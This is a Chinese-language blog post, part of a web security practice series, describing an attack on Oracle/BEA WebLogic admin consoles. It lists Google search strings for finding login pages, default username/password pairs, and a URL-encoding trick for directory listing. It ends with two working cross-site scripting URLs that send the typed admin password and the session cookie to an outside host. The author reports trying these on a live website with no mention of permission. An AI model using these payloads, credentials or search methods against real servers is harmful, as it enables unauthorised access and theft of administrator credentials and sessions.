系列导航http://www.cnblogs.com/xuanhun/archive/2008/10/25/1319523.html
安全技术区http://space.cnblogs.com/group/group_detail.aspx?gid=100566
前言
web安全实践系列主要是对《黑客大曝光——web应用安全机密与解决方案(第二版)》的内容做的实践研究和部分编程实现。所以如果您能完全理解那本书可以跳过本文章。
这次是我花了两个多小时的时间做的一个小实验,只检测了一个网站,并没有系统的去对WebLogic做整体的安全性分析。破砖引玉吧。
正文
一、寻找WebLogic的方法
(1)使用我们前面介绍的平台识别方法来识别是否是WebLogic Server。
(2)Google搜索
关键字"WebLogic Server inurl:console",URL后面是console结尾的,一般为WebLogic Serve管理后台入口。
如果没有进入管理界面,我们可以采用在找到的目标URL后面加上console的方法,回车就会自动跳转到管理登录页面。
猜测一下管理界面的路径,如login/LoginForm.jsp。
我们也可以采用爬行程序,下载网站目录,这样很容易判断出登录界面的具体位置。
二、分析
(1)测试默认密码
默认的缺省密码有以下几组:
1、用户名密码均为:weblogic
2、用户名密码均为:system
3、用户名密码均为:portaladmin
4、用户名密码均为:guest
如果尝试完了都不能登录,可以交叉换用用户名和密码,比如用户名为weblogic,密码为system,这个可以自己灵活变通,当然也可以做个字典文件暴破。不过我测试了半天也没好用。
(2)验证url输入
Bea weblogic在Windows平台下的版本存在一个安全漏洞,攻击者可以在一个URL后面
增加一些特殊的编码字符(例如%00,%2e,%2f或%5c),可能导致绕过缺省浏览文档(例如,index.html)的限制,从而得到web目录的内容列表。
例如我在下面这个网址输入/http://www.cnblogs.com/../
结果为:
跳转到了首页。说明网站没有对url输入做过滤。
(3)查看表单
查看客户端源文件的时候这个信息引起了我的注意:
传送用户名和密码的表单分别为j_uername和j_password。经过测试存在跨站脚本漏洞。
BEA WebLogic管理控制台登陆页面的j_username和j_password参数中存在跨站脚本漏洞,攻击者可以诱骗合法的Web应用程序向没有戒备的终端用户发送恶意代码,通常是通过创建嵌入了恶意脚本代码的超级链接。有效用户很可能会点击这个链接,因为它看起来好像指向可信任域中的资源。如果用户点击了这个链接的话就可以执行攻击者所提供的代码,导致窃取管理员的会话cookie。
类似下面给的语句成功的执行了。
窃取管理员口令
http://dd/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://xuanhun/'%2Bdocument.all.j_password.value)"
窃取会话cookie
http://dd/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://xuanhun/'%2Bdocument.cookie)"